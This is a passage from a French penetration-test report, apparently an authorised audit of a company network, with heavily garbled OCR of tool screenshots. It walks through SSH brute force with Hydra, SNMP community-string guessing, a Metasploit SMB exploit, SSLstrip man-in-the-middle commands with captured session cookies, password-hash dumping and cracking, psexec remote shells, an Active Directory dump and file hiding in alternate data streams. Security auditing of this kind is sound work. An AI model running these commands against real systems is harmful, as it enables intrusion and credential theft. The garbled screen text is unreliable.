[ATTEMPT] target 212 98 login "Adrministrator” - pass "ann" - child 2 - 50 of 5789
[ATTEMPT] target 212.98, login "Administrator” - pass "anna" - child 4 - 51 of 5789
[ATTEMPT] target 212.98. login "Administrator - pass "anne" - child 1 -52 of 5789
[ATTEMPT] target 212.98 - login "Administrator” - pass "annette” - child 0 - 53 of 5789
([ATTEMPT] target 212.98. login "Administrator” - pass "answer" - child 3 - 54 of 5789
[ATTEMPT] target 212 985, login "Administrator - pass "anthropogenic” - child 2 - 55 of 5789
[ATTEMPT] target 212.98 login "Administrator” - pasll:, "anvils" - child 4 - 56 of 5789
[ATTEMPT] target 212.98 login "Administrator - pass "anything" - child 1 - 57 of 5789
[ATTEMPT] target 212.98 login "Administrator” - pass "april" - child 0 - 58 of 5789
[ATTEMPT] target 212.98, login "Administrator” - pass "aria" - child 3 - 59 of 5789
\[ATTEMPT] target 212 98 login "Administrator" - pass "ariadne" - child 2 - 60 of 5789
[ATTEMPT] target 212.98 login "Administrator - pass "arlene" - child 4 - 61 of 5789
\[ATTEMPT] target 212.58. login "Administrator” - pass "arrow" - child 1 - 62 of 5789
[ATTEMPT] target 212.98. login "Administrator” - pass "arthur" - child 0 - 63 of 57859
[ATTEMPT] target 212 98 - login "Administrato pass "asd" - child 3 - 64 of 5789
[ATTEMPT] target 212 98 login "Administrato pass "asm" - child 2 - 65 of 5789
[ATTEMPT] target 212.98 - login "Administrator" - pass "asshole" - child 4 - 66 of 5789
[STATUS] 66.00 tries/min, oo vics in 00:01h, 5723 todo in 01:27h

[STATUS] 22,00 tries/min, 66 tries in 00:03h, 5723 todo in 04:21h

[STATUS] 9.43 tries/min, 66 tries in 00:07h, 5723 todo in 10:07h

The session file /hydra.restore was written. Type "hydra -R" to resume session.

Start Stop Save Cutput L4

hydra 212.98. s5h2 A -L froot/Desktop/users. txt -P froot/Desktop/words txt -2 5 -t 5 -w 200

Figure 0.47 : Attaque SSH par force brute

Notons que I’exécution de la méme attaque sur le pare-feu XF montre qu’il existe un IDS qui
a arrété¢ D’attaque apreés quelques minutes. Le logiciel Hydra est alors obligé d’attendre un

intervalle de temps de 3 a 6 heures pour continuer les essais.

HydraGTK
&l Quit
Target | Passwords | Tuning | Specific | Start
[A1 LM || Lalget L32.100 SAUYIT AUl - Jass AFE - LG W - 4310 Ol F3£0
{[ATTEMPT] target 192.168 - login "admin" - pass "xyzzy" - child 3 - 4911 of 4920

Error: could not connect to target port 22
Error: could not connect to target port 22
Error: could not connect to target port 22
Error: could not connect to target port 22
Error: could not connect to target port 22

[ATTEMPT] target 192.168 - login "admin" - pass "yaco" - child-2 - 4812 of 4920
[ATTEMPT] target 192.168 - login "admin" - pass "vang" - child 4 - 4913 of 4920
\[ATTEMPT] target 192 168 - login "admin" - pass "yellowstone" - child 1 - 4914 of 4520

Error: could not connect to target port 22
Error: could not connect to target port 22
Error: could not connect to target port 22

{[ATTEMPT] target 192168 - login "admin" - pass "yolanda" - child 3 - 4915 of 4920
[[ATTEMPT] target 192 168 - login "admin" - pass "yosemite" - child 0 - 4916 of 4920

Error: could not connect to target port 22
Error: could not connect to target port 22

|[ATTEMPT] target 192 168 - login "admin" - pass "zap" - child 1 - 4917 of 4920
[ATTEMPT] target 192.168 - login "admin" - pass "zimmerman" - child 4 - 4918 of 4920
[ATTEMPT] target 192.168 - login "admin” - pass "zmodem" - child 2 - 4915 of 4920

Error: could not connect to target port 22

Error: could not connect to target port 22

Error: could not connect to target port 22

([[STATUS] attack finished for 192168 wwaiting for childs to finish)
[ATTEMPT] target 192.168 - login “admin" - pass "lmanager” - child 3 - 4920 of 4920
(\Error: could not connect to caiger port 22

Error: could not connect to target port 22

(Error: could not connect to target port 22

Error: could not connect to target port 22

Error: could not connect to target port 22

Error: could not connect to target port 22

‘Hydra (http//www.thc.org) finished at 2010-07-01 15:40:13

<finished>

5 Stop Save Output
hydra 192.16;‘3 sh2 V -L froot/Desktop/users.txt -P froot/Desktop/words txt -t 5 -w 200

=g ‘@ |
Figure 0.48 : Attaque SSH par force brute arrétée par XF

@ sShell-Fast # Metasploit X HydraGTK 1
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b.3 UDP port 69 TFTP

L’ouverture d’une session avec les adresses IP trouvées dans les branches HO et DT
en utilisant ’outil 7FTP32 n’a pas réussie. La connexion ¢ét¢ refusée a cause des

identificateurs incorrectes.

92 BB onnt mEE
Curent Direstory | C:\Documents and SettingstusertDest - | Brawse

Serverinterfaces [192168.111.225 ~| Show Dir

Tip Server  THp Clint | DHCP server | Sysiog server | Log viewsr |

Host [152768. © &°  Pot 81
Localfle [shamt |
Remots Fils |6
05 i <]

About Settings

*. Titpd32

Ertor in Recv.
Etar cods is 10054 (An existing connection was Forclbly closed by th remote host.)

Figure 0.49 : Résultat de I’outil TFTP32

Afin de deviner les identificateurs corrects j’ai effectué une attaque par force brute en utilisant
I’outil Hydra sur la plateforme Linux. Mais I’essai de 5000 combinaisons d’identificateurs n’a
pas abouti a la bonne combinaison ce qui implique un niveau de complexité élevé pour les

identificateurs.

b.4 UDP port 161 SNMP

Le protocole SNMP exige la connaissance d’un identificateur connu par CS qui est
une chaine de caractére qui définit la relation entre un systéme de serveur SNMP et les
systemes client. Cette chaine se comporte comme un mot de passe pour controler 1'accés des
clients au serveur, elle est de deux types : Lire ou Lire/Ecrire. La premiére étape dans le test
du port 161 consiste a scanner les adresses comprenant ce port ouvert afin de trouver les
chaines. L outil SNMP Dictionnary attack a dévoilé les chaines de quelques périphériques
ensuite a 1’aide du logiciel MIB walk les informations essentielles sur chaque systéme sont
révélées. Le test des priviléges des chaines obtenues a 1’aide de I’outil Remote TCP Session
Reset, qui liste les sessions existante et permet de les arréter, n’a pas réussi d’arréter les

sessions car la plupart des chaines trouvées sont de type Lire.
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£3 SNMP Dictionary Attack (SNMP-Attack.mdb)

File Edit Run Filter Help

2 * 494 g ®» e =7z F o ?

Mew Open Prink Irnpork Export Dictionary  Settings Skart Stop Help

IP Address Complete Word Court ! Results I Sysname Community

.1 92165 ¢ | [w] Didd niat fine community steing 1IZ| millizeconds
152168 P
192 58 L |w] Dicd nat find community string 13 millizeconds
192 ES r v Did nat find community string 13 milizeconds
192 163 vl Community String Found OrigEquiphfr 16 miliseconds
192163 [w] Mo response Request Timed Out
192168 = Diicd ot find community tring He 11 milizeconds
1-92.1 EB [w] Diicd mat find community string 12 millizeconds
o v N A S
182,168 v oemttedcormuenysing Al L |Gallswes |
192168 Wl Did not find commurity =tring 7 millizeconds
192158 v Mo response Reguest Timed Cut
192168 b Didnot find community string Wy 5 milisecands
192163, [w] Dict nat find community string 16 milizeconds
192188 st om0 aeends |
1921681 Wl Did nat find community string 36 milizeconds
.1 92 A EB 1 [w] Community String Found public 32 milizeconds
192168 W Did not find community =tring st 20 milizeconds
192168 Wl Did not find community string o 17 milizeconds
192168 Wl Did not find community string it 21 milizeconds
19.2..1 B8 - w] Community String Found public 47 milizeconds
192163 [w] Community String Found hidden 46 milizeconds
192168, Community String Found hidden 39 milizeconds
1-92 fl BB [w] Community String Found L public 524 milizeconds
192163 . Wl Did nat find community string =4 1 milizeconds

Figure 0.51 : Résultat de I’outil SNMP Dictionnary Attack

File Edit Help
W3 ?

Export  Print Help

Hostname or IP m —L| MIB tree to Walk : *

Community String lpublic j 1Standard Li Walk

MIB [e]]1] Hame

RFC1213 136121110 ' sysDescr 0 {Bpple SirPor - Spple Computer, 2006, & right
RFC1213 136121120 sysChjectiD0 136.1.41807232.255
RFC1213 136121130 sy=UpTime 0 219975507
RFC1213 1.361.21140 sysContact.0 default_user@cortact.domain
RFC1213 136121150 ysMame. data
RFC1213 136121160 aysLocation.0 defauttiocation
RFC1213 136121170 sysServices 0 12
ShMPw2-MIB 136121180 sy=0RLastChange 0 g
ShMPw2-MIB 1.361.21.191.21 =y=0RIDA 1361631
ShMPw2-MIB 13612119122 =y=0RID.2 136.1.2149
ShMPY2-MIB 136121189123 aysORID.3 1361214
ShMPw2-MIB 13612119124 sy=0RID.4 13612150
ShMPw2-MIB 13612119125 sy=0RID .S 13616316221
ShMPw2-MIB 136121191286 =y=0RID 6 1361213
ShMPY2-MIB 1.361.21191.31 aysORDescr .1 The MIB module for SHMPY2 entities
ShMPY2-MIB 136121189132 sysORDescr 2 The MIB module for manading TCP implementsti
ShPy2-MIB 13612118133 sysORDescr.3 The MIB module for managing IP and ISP imple
SMMP2-MIB 136121189134 sysORDescr 4 The MIB module for managing UDP implementati
ShMP2-MIB 13612119135 sysORDescr 5 Yiewy-bazed Access Control Model for SRMP.
ShMPY2-MIB 136121191386 aysORDescr B The MIB module to describe generic objects for

Figure 0.50 : Résultat MIB Walk
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* Remote TCP Session Reset

File Edit Session Help

H =35 0 3§ 8B o9

Export Send To  Print Refresh  OFf Break | Settings Help
Router, Switch or Server Mame /7 |P |EESES = hd $ LE:H?::':;L";?TEQND
Read-Write Community String ||:-u|:-|ic: j Connect | 12:19

Connection State | Server [P Address Server Port Cliert IP Address Client Port :Cli
@ Listen 0.0.00 T ' 0,000 2288

& Listen 0.0.00 445 0.000 16495

@ Listen 0.0.00 E64 0.000 45256

@ Listen 0.000 1065 0.ooo 6311

@ Lizten 0.0.00 2631 0.ooo 2296

& Listen 0.0.00 16993 0.000 39075

@ Listen 1270041 1054 0.00.0 55495

g Establizhed 1270041 3419 127.0.041 3420 Lc
E Establizhed 1270041 3420 127.0041 3418 Lc
@ Lizten 127.0.01 30606 0000 14545

@& Listen 192168 134 0.000 2182

% Establizhed 192168 139 192168, 2853 ITL
_% Establizhed 192168 3417 192 168 5061 it
_% Estaklizhed 192168 3434 1921685, 445 |
.% Establizhed 192168 3610 192168 4435 [l
& Establizhed 192168 SE44 192168 151 m)|
E] Wiaiting 192168 5649 192168 1521 0|
ﬂ Establizhed 192168, 3630 192168, 445 ITL

Figure 0.52 : Résultat Remote TCP Session Reset

b.5 UDP port 455 SMB

Ce port est utilisé pour le service de partage de fichier. Une fois exploité
I’attaqueur aura acceés aux fichiers systémes de la victime. L’outil utilisé pour effectuer
cette attaque est Metasploit. La premicre phase consiste a décider les parametres de
I’attaque : victime, port, exploit et charge, la deuxiéme phase est I’exécution de 1’exploit
et ouverture d’une session chez la victime si I’exploit réussi. Ce test a réussi sur plusieurs
ordinateurs et m’a permis de créer un utilisateur a accés administratif qui sera bien sur

utile pour I’attaque au niveau de la couche application.
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13,4 ap1:1.0]

ind_tcp

:14444) at 2010-07-05 16:28:14 +0200

b.6 TCP port 443 SSL

Ce port est utilisé pour ouvrir des sessions sécurisées. L’attaque consiste au
surpassement de la session SSL a ’aide de 1’outil SSLs¢rip en utilisant le mécanisme du Man

In The Middle pour la redirection/transmission des paquets. Les commandes utilisées sont :

o Transfer des IP : echo 1 > /proc/sys/net/ipv4/ip _forward

o Usurpation par des paquets ARP: arpspoof -i eth0 -t 192.168.111.224
192.168.111.1

o Redirection de port : iptables -t nat -A PREROUTING -p tcp --destination-port 80
-j REDIRECT --to-ports 10000

o Démarrage du SSLstrip écoutant sur le port 10000 : SSLstrip —a
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Une fois la configuration terminée on attend 1’ouverture d’une session SSL chez la victime et

capte ainsi les données passantes comme nom d’utilisateur et mot de passe.

E Session Edit View Bookmarks Settings Help

sslstrip.log
install.sh

Session Edit View Bookmarks

Session Edit View Bookmarks Settings Help - -post

root@bt:~# arpspoof -i eth® -t 192.168.111,22 ¢ --581

19' 168.111.1 , --all

B:c:29:4b:16:f9 0:60: - & :

eply 192.168.111.1 is-at : --listen=<port=>
“CP:1d:60:ac:b7:d4 0:60:52:a:al: PRO6 42: a . --favicon

p reply 192.168.111.1 is-at 0:1d:60:ac:b7:d4 . --kitlsessions
B:1d:60:ac:b7:d4 0:60:52:a:a1:78 0806 42: arp||~

y 192.168.111.1 is-at 0:1d:60:ac:b7:d4 |
2: arp|]’ @bt:-# sslstrip -a

<port>,

Session Edit View Bookmarks Settings Help

173272373.1.10.1278498231; utmz=173272373.1278497223.2.
ftmcen=(referral) jutmecmd=referral Jutmcct=/; utmc=173272
iREF=ID=cQUf333110:583?1 U=14a29316796ff7823:TM=1277968839:
{er@MdwHLN; NID=36=cY¥slxUwRZ00lo0]jGyl5X1y2GY quHleuptyLId

|IL RTT=857; GMAIL LOGIN=T1278498230465/1278498230465/1278499806517.

ltmpl=default& 1trnp1: ac hﬁ=- &con |t1nue httpn_
rvice=mail&r 3

YT R _-‘_famt@ht:—-smn-xo;? w 2

Figure 0.54 : Surpassement de session SSL

1tmcsr=google.com.lbju
GALX=TLS6rk9xq%; P
1278496932 :5=Rh4002T
4kv52GCwevgo2n X5-erb
03a1XxCeMjOIFgSxveY fIDYIFEI7mSNASjMpIXIMFISYKE7O0IuKoNoPGI8eWLHRK; TZ=-180; G

Settings Help

Log only SSL POSTs
Log all SSL traffi
Log all SSL and HT

Port to listen on
Substitute a lock
Kill sessions in p
Frint this help me
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c. Résultats

50% des attaques effectuées au niveau de la couche transport ont réussies, les données
révélées sont d’une grande importance et constituent une menace sur les ressources

pertinentes de 1’entreprise.

Table 0-IX : Résultats des tests de la couche Transport
Date des

Vulnérabilités / Etat Risques / Impact Résultat
tests

Ports accessibles o : :
28/6/2010 Accessibilité facile compromis
Pas de mots de passe

Ports ouverts sur machines pertinentes Non
1/7/2010 Etat acceptable
Acces difficile et sécurisé compromis
Ports ouverts sur machines pertinentes Non
29/6/2010 Etat acceptable
Acces difficile et sécurisé compromis
Ports accessibles Accessibilité Parfois
30/6/2010 ) ) )
Mots de passe parfois dévoilés complexe compromis
Etat Critique :
Dangers sur tous les postes car ce port Parfois
7/7/2010 Accessibilité :
est ouvert par default compromis
complexe

d. Recommandations

- Désactiver les ports et services inutiles surtout chez les postes serveurs
- Mise a jour régulicre des SE et logiciels

- Activation des pare-feu pour bloquer les intrusions

- Audit régulier préférablement automatisé des acces et transactions

- Implémentation de logiciel de détection d’intrusion

- Désactiver les agents SNMP inutilisés

- Restreindre I’acces par FTP ou TFTP aux directoires systémes

- Restreindre les routeurs de répondre aux paquets irréguliers
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3.2.6.4 Couche Application

La couche application est la couche située au sommet des couches de protocoles
TCP/IP. Elle contient les applications réseaux permettant de communiquer grace aux couches
inférieures. Les logiciels de cette couche communiquent donc grace a un des deux protocoles

de la couche inférieure (la couche transport) c'est-a-dire TCP ou UDP.

Les attaques sur cette couche sont de différents types dont chacun sera visé par des outils
spécifiques au niveau de ’application choisi, quelques attaques risquées seront effectuées

dans ’environnement virtuel des tests.

a. Objectifs

- Systemes d’exploitation
- Maliciels

- Messagerie

- Application Web

- Injection de code SQL

b. Détail d’évaluation

b.1 Systémes d’exploitation

La majorité¢ des postes clients ont le SE Windows XP et les postes serveur Windows
server 2003. Pour chaque systéme il existe bien str des failles exploitables qui aideront a

effectuer les attaques tout en suivant un enchainement de plusieurs étapes :

- Ouverture de session
La premiére étape consiste a ouvrir une session avec un poste client afin d’obtenir la
liste des utilisateurs et d’ajouter un utilisateur qui servira ultérieurement comme agent
d’attaque. Dans cette phase I’utilisation de la méthode de D’attaque Metasploit vue
précédemment dans la partie de ’attaque du port UDP 455 SMB servira pour ouvrir cette
session. Cette méthode a échouée sur quelques postes n’ayant pas des utilisateurs sans mots

de passe, mais sur d’autres postes a réussie et m’a permis de passer a la phase suivante.
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address 48] http:ff127.0.0.1:55555] v B«

Microsoft Server Service Relative Path Stack Corruption
Select payload for target Windows 2003 SP2 English (NX):
CURRENT CONFIGURATION - CHANGE PAYL OAD
EXPLOIT windows/smbfms08_0B7 _netapi
TARGET Windows 2003 SP2 English (M)
PAYLOAD windows/meterpreter/bind_tep
STANDARD OPTIONS
RHOST Required
The target address (type: address) 192,168
RPORT Required
Set the SMB serdce port (type: integer) .4:45_
SMBPIPE Reguired
The pipe name to use (BROWSER, SRYSWYC) (type: string) SRVSVC[
EXITFUNC Required
Exit technigue: seh, thread, process (type: raw) process
LPORT Required
The local port (type: port) |4444
RHOST
The target address (type: address)

Figure 0.55 : Premiére étape de ’attaque Metasploit

failed: The = E: e ith error: STATUE 2 TordCount=0)

Figure 0.56 : Attaque échouée sur un poste serveur

En cas de réussite, j’ai créé un utilisateur et je 1’ai ajouté au group administratif du client,
ainsi j’ai ouvert une session et téléchargé les fichiers d’exécution pour voler les informations
des comptes des utilisateurs. Une fois exécutées a partir de la session ouverte j’ai eu les

fichiers nécessaires : SAM et SYSTEM.
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Location

Edit View Go Bookmarks Tools Settings Window Help

O LUOo®R e@X ® = = 2K ||

£ Location: | @ smb:/nadarizk@192.168 cS/ RAEET
% | Name | size | File Type ~ [+]

# System Volume Information 0B Folder

© e Temp 0B Folder

. |®wINDOWS 0B Folder pdule
"= | w PkgClnup.log 16.5 KB Application Log File
@ AUTOEXEC.BAT 0B Unknown

| bootin 0o __192.163 M3y

P CONFIG.5Y5 g
10.5YS Usage: pwdump2 <pid of [sass.exe> [+]

MSDO5.5Y5
C\=pwdump2

NTDETECT.COM pwdumpz
ntldr Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16
pagefile.sys Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b

HelpAssistant:1000:aad3b435b51404eeaad3b435b51404ee:27eecd 737!
nadarizk:1007:e52cac67419a%a224a3b108f3fa6ch6d:8846f7eaeesfb117
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee edec

Thumbs.db
(4]
=1 Cih=
©|Thumbs.db (15.0 KB) Urf [ [ ] —
’ B
| Wgose

5 M, il @ = = 35 | @ smb:/n # Msfgus @ root@h HiE :} 1 :E =|-| »

Figure 0.57 : Téléchargement des fichiers et exécution du logiciel chez la victime

- Craquage des mots de passe
Les mots de passe forment la premicre ligne de défense contre les attaques sur un
systéme. Si le pirate parvient a connaitre le mot de passe il pourra s’introduire en tant

qu’administrateur dans le SE.

Les fichiers obtenus de la phase précédente sont importés dans le logiciel CAIN et on effectue une
attaque par force brute afin de dévoiler les mots de passe des utilisateurs. Evidement si le mot de passe
est complexe 1’outil prendra beaucoup de temps et la plus part des fois ne pourra jamais le craquer.
ﬂ File View Configure Tools Help
SAH @ Yy BB, 0?7 i

_{% Decoders IQ Metwark |ﬂ'ﬂ Sniffer I@f Cracker |@ Tracerouke um oo |[‘ij’] Wireless |€9 Query I

o Cracker Liser Mame | LM Password | z8 | NT Password | LM Hash | T Hash cha
gH LM & NTLM Hashes (9) P Administratar * empty * * R emply * BAD3B435E514..,  31DECFEODIGA. .,
R NTLMy2 Hashes (0) %Guest * empty * * empty *

# MS'CIf_'lChe Hashes {0) X SUPPORT 3885450 * ety * * BADIE43SES14,,, GFSA3AIBFECE. .,
% EW" IIEJSS(Eﬂ)DS R X _ vmware_user__ 39FD93902FSE,.,  73IF17S0FDED..,
Lite Sy $hnadadicha T8 * e B62860836108.., 20CAGOCHETES...
Hsan R e s () Fhnadariz P ' ES2CACET419A.., 969S4EBOIES
il APOP-MDS Hashes (0 X Lol , R
© CRAV-HDS Hashes (0) IUSR_QUEST CFS24EDIDCE..  $98677531264...
o OSPF-MDS Hashes (0) 3 rwam_QUEST 9DBCIECOOTE.,, FACHIE3IDTAL..,
& RIPv2-MDS Hashes (0) % asPrET BGASSICS4139...  9BEAI946BADD...

b VRRP-HMAC Hashes (0)
o8 wnC-30ES (o)

Figure 0.58 : Craquage des mots de passe
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Cette méthode permet d’obtenir les utilisateurs locaux sur les postes client. Afin de craquer un
utilisateur du domaine de 1’organisation j’ai utilisé I’empoisonnement par paquets ARP de 1’outil
CAIN pour capter le trafic d’authentification des utilisateurs et craquer ensuite les mots de passe.

_

File View Configure Tools Help

0y D ol U0 W & | W B, %] 0 O®2 @7 il
é;% Decoders |§ Metwork I@ Sniffer I@f’ Cracker Iﬁ Traceroute IM cCou I[c,if] Wireless I% Query |
% Passwords Timestamp | KDC server | Clignt | DomainiUser | Hash
&0 FTR (D) 29/07/2010 - 10:51:52 192,168 192.168,,. AISHTLCOM|na ESF718290
@ HTTP {0} 29007§2010 - 10:51:57 192,163 192,168.., AISHTL.COMn 20z20A0914
=B map (0) 20/07/2010 - 11:05:22 192,168, 192,168.., AISHTLCOM\Adminis... OBLD72A34
LDAP (O} 29/07/2010 - 11:03:25 192,168 192.168... AISHTL.COMVAdminis... OECO3F700
b Por3 (o)
sib SME (1)
Bl Telnet (1)

WHC ()
TS (0)
THS (0)

£ SMTR (09

o NNTP (09
DCE/RPC (0Y

¢

MsKerh5-Prefuth {4)
Radius-Keys (0}
Radius-Users (0}

Figure 0.59 : Captage de session d’authentification

Une fois la session est captée, on utilise des méthodes de craquage du mot de passe par force brute ou
par dictionnaire. Lorsque le mot de passe est complexe 1’outil ne peut pas le craquer dans une limite

de temps valable.

AR e BEE 4y R BRVMEBEO0%EE Q2 1
@ Decoders Ig Network Iﬂ? Sniffer I# Cracker |@ Traceroute Im CCou I[‘éfl Wireless I%) Query I

Ef Cracker Username | Password | KerberosS PreAuth Hash | mote |
; g ;::_ I:« I;'I:MhHa(s:;asl X AISHTL.COMine EBF71629099C27B3A77D. ..
W, asnes
gy Ms-Cache Hashes (1) X aistit Brute-Force Attack
& PWL files (0)
" JE Cisco 105-MDS Hashes Charset Password length-
M Cisco PIX-MDS Hashes = Min g |
3 APOP-MDS Hashes (0) SaRiodHned
€2 CRAM-MDS Hashes (0} |ahcdefghi\kImnnpqrstuvwxyz j Max
i OSPF-MDS Hashes (0) 4
I g RIFw2-MDS Hashes (0) (" Custom sl
4] YRRP-HMAC Hashes (0 [
] YhC-3DES (0)
i '“2‘1 MD2 Hashes {0} Feyspace Current passward
"1 MD4 Hashes (0) 2148552398
" MDS Hashes (0)
58 SHA-1 Hashes (0} Fey Rate Time Left
SR SHA-Z Hashes (0)
R RIPEMD-160 Hashes (0
i Kerb5 PreAuth Hast
Radius Shared-Kzy Has FPlaintext of user AISHTI. COM“Administrator is
! ﬁ IKEPol Hashes (D) ?t;?dl( i;gﬁgzdéracked
¥) MSS0L Hashes (0)
& MysaL Hashes (0)
Cracle Hashes (0
¥} Dracle TNS Hashes (0)
i [.f,] SIP Hashes (0}
¥ 802,11 Caphures (o)
8 WPA-PSK Hashes () B

£

Figure 0.60 : Mot de passe craqué
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- Extension de priviléges
Lorsque le pirate obtient un accés sur le réseau en utilisant des comptes peu protégés,
il va chercher a augmenter ses priviléges en obtenant 1’acces de I’administrateur. Pour obtenir
cet acces il cherche a savoir le mot de passe de 1’administrateur, la clé de cryptage du fichier
SAM contenant les références des utilisateurs sur la machine ou changer ce mot de passe en
utilisant des outils de craquage en mode Disk Operating System (DOS) ou il peut utiliser des

outils qui créent des nouveaux utilisateurs avec des priviléges administratifs.

Dans les phases précédentes j’ai obtenu le fichier SAM et la clé de cryptage contenu dans le
fichier SYSTEM et j’ai créé un nouveau utilisateur a priviléges administratifs. De méme j’ai
pu capter la session d’authentification de I’administrateur du domaine et craquer son mot de

passe. Donc les priviléges administratifs sont déja acquis.

Dans le cas d’accés physique directe la méthode la plus facile ¢’est le changement du mot de
passe des utilisateurs, notamment celui de I’administrateur. Afin d’effectuer ce test j’ai utilisé

la commande chnptw qui permet de changer le mot de passe en accédant le fichier SAM.

Session Edit ‘View Bookmarks Settings Help

ked ‘already)

sibs, Ox<Ribe - 1 with RID (hex)

to change: [& ravor]

1Epw Main Inte

Figure 0.61 : Changement de mot de passe par la commande chnptw
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- Exécuter des applications malicieuses
Une fois un acceés administratif est obtenu sur le systéme, le pirate exécute des
applications malicieuses en utilisant des outils qui lancent des commandes DOS a distance
comme psexec et remoexec. Le but de ces application est d’obtenir toutes les informations
possibles sur la machine cible. Le spyware ou logiciel espion est une de ces applications, ce
logiciel enregistre les caracteres insérés du clavier, les messages envoyés, les sessions de chat,

les applications utilisées, les pages web visitées et des images de 1’écran de temps en temps.

La premicre étape consiste a insérer les applications sur les postes cibles, cette tache peut étre
effectuée lors de I’ouverture de la session par Metasploit ou par 1’utilisation de 1’outil psexec.
La deuxiéme étape consiste a lancer cette application a travers la session ouverte ou par
lancement a distance. Ce travail sera effectué sur un serveur avec le service AD pour voler la
base de données entiere du domaine a partir de lancement a distance de 1’application ldp.exe
basée sur le protocole Lightweight Directory Access Protocol (LDAP), sachant le mot de
passe de I’administrateur du domaine, 1’ouverture de la session sur le port LDAP 389 est

facile.

W192.168

IC:~Documentz and Settings‘usersDesktopstest proghPsToolsipsexec “192_168.
—u administrator cmnd

PzExec vl.98 — Execute proces remotely
opyright (C> 2801-2018 Mark Bussinovich
lBysinternals — www.sysinternals.com

Pagsword:

icrosoft Windows [Uersion 6.1.7680]
opyright (c> 2809 Microsoft Corporation. All rights reserved.

Windowsssystemd2 2od™

ND>die
Uolume in drive C haz no label.
Uolume Serial Number iz @CD7-CE64

Directory of G:n

A6-11-2007 H 24 autoexec.bat
H <DIR>
<DIR> CHMSPlugin_8%_h264
18 config.sys
<DIR> inetpuhb
<{DIR> orant
921.632 PA2B7.DAT
<DIR> PerfLogs
{DIR> Program Files
32,768 puwdunp2.exe
<DIR> RemotePlayback
<DIR> Remoteliew
36.864 zsamdump.dll
<DIR> SQLEXPRESS
<DIR> Users
<DIR> Windows
5 Filed(s> 991.298 hytes
11 Dird<s> 281.114.218.,496 hytes free

Figure 0.62 : Lancement commande par psexec
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Connection  Browse  View Options  Utilities

=I DC=aishti,C
OU=AB
Qll=ais
Qli=his
Ql=4is
Oll=ais
Ql=ais
Ql=4is
Ol=aiz
Ql=aiz
CM=Buil
CN=Car
Ol=Col
Ql=Dia
Gl=Doi
Oll=Fac
CM=For
CH=Infi
CN=Los
CH=Mal
Gli=Mic
CN=Mic
CN=NTI
Ql=Phc
CN=Pra
Oll=5al
CM=5ys
Ch=Use

Id = Idap_open[*192.168. 389
Established connection to 192.168. -
Retrieving base DSA information...
Result <0>: [null]
Matched DNs:
Getting 1 entries:
>> Dn:
1> currentTime: 08/04/2010 15:37:28 GTB Standard Time GTB Standard Time;
1> subschemaSubentry: CN=Aggregate,CN=Schema,CN=! Cnnflguratmn DC=aishti,DC=com;
1> dsServiceName: CN=NTDS Settings,CN- CN=Servers,CN CN=Sites,CN=Configuration,DC=aishti,D(
5> namingContexts; DC=aishti,DC=com; CN=Configuration,D ishti, DC=com; CN=Schema,CN=Configuration,DC=aishti,DC

DC=DomainDnsZones,DC=aishti,DC=com; DC=ForestDnsZones,DC=aishti,DC=com;

1> defaultNamingContext: DC=aishti,DC=com;

1> schemaNamlngCuntexi CN=8chema,CN=Configuration.DC=aishti,DC=com;

1> fig ingContext: CN=Configuration,DC=aishti,DC=com;

1> motDomalnNamlngCunlext DC=aishti,DC=com;

23> supportedControl: 1.2.840.113556.1.4.319; 1.2.840.113556.1.4.801; 1.2.840.113556.1.4.473; 1.2.840.113556.1.4.528;
1.2.840.113556.1.4.417; 1.2.840.113556.1.4.619; 1.2.840.113556.1.4.841; 1.2.840.113556.1.4.529; 1.2.840.113556.1.4.805;
1.2.840.113556.1.4.521; 1.2.840.113556.1.4.970; 1.2.840.113556.1.4.1338; 1.2.840.113556.1.4.474; 1.2.840.113556.1.4.1339;
1.2.840.113556.1.4.1340; 1.2.840.113556.1.4.1413; 2.16.840.1.113730.3.4.9; 2.16.840.1.113730.3.4.10; 1.2.840.113556.1.4.1504;
1.2.840.113556.1.4.1852; 1.2.840.113556.1.4.802; 1.2.840.113556.1.4.1907; 1.2.840.113556.1.4.1948;

2> supportedLDAPYersion: 3; 2;

12> supportedLDAPPolicies: MaxPoolThreads; MaxDatagramRecv; MaxReceiveBuffer; InitRecvTimeout; MaxConnections;
MaxConnldleTime; MaxPageSize; MaxQueryDuration; MaxTempTableSize; MaxResultSetSize: MaxNotificationPerConn; Max¥YalRan

1> highestCommittedUSN: 4628194;

4> supportedSASLMechanisms: GSSAPI; GSS-SPNEGO; EXTERNAL: DIGEST-MD5;

1> dnsHostName: aishti.com;

1> IdapServiceName: aishti.com: HAAISHTL.COM;

1> serverName: CN= .CN=Servers,CN- CN=5ites, CN=Configuration,DC=aishti,DC=com;

3> supportedCapabilities: 1.2.840.113556.1.4.800; 1.2.840.113556.1.4.1670; 1.2.840.113556.1.4.1791;
1> isSynchronized: TRUE;

1> isGlobalCatalogReady: TRUE;

1> domainFunctionality: 2 = [ DS_BEHAVYIOR_WIN2003 );

1> forestFunctionality: 2 = [ DS_BEHAVIOR_YYINZ003 );

1> domainControllerFunctionality: 2 = [ DS_BEHAVIOR_WIN2003 );

res = Idap_bind_s[ld, NULL, &NtAuthldentity, 1158); ff v.3
{NtAuthldentity: User="administrator'; Pwd= < ilable>; d in = 'aishti-domain'.}

q

Authenti d as dn:' istrator'.
Expanding base 'DC=aishti,DC=com’"...
Result <0>: (null]

Figure 0.63 : Ouverture d’AD a travers LDAP

- Cacher les fichiers

Pour maintenir son acces privilégié, couvrir ses traces et éliminer les soupcons de

I’administrateur du systéme, le pirate cache les fichiers utilisés en changeant I’attribut caché

(Hidden) du fichier ou utilisant des fichiers de type New Technology File System (NTFS) a

données alternées qui sont remplacées par des données falsifiées, il peut utiliser un logiciel

comme RootKit qui a la capacité de se cacher et couvrir les traces des activités sur la machine.

a5

B Administrator: Command Prompt

C:nodir *.exe *.txt

Uolume in drive C has no label.

Volume Serial MNumber is BCDY-CE64

Directory of C:N

28-87-2018 ©83:87 PM 1.941 hack.exe
Dirvectory of C:n

11.-88-2818 61:36 PM 1,999 ReadMe.txt
2 File<s> 3 948 hytes
8 Dirds)> 281.816, 934 488 hytes free

C:~>type c:vhack.exe » cisreadme.txt:hack.exe
C:nodir *.exe = txt

Uolume in drive C has no label.
Volume Serial Mumber is BCD?-CE64

Dirvectory of C:n
28872018 @3:87 PH 1.941 hack.exe

Directory of C:N

116882018 ©1:39 PM 1 999 Rea(ll"le txt
2 Filedsd @ hytes
8 Dir(s> 281.816. 864 763 hytes free

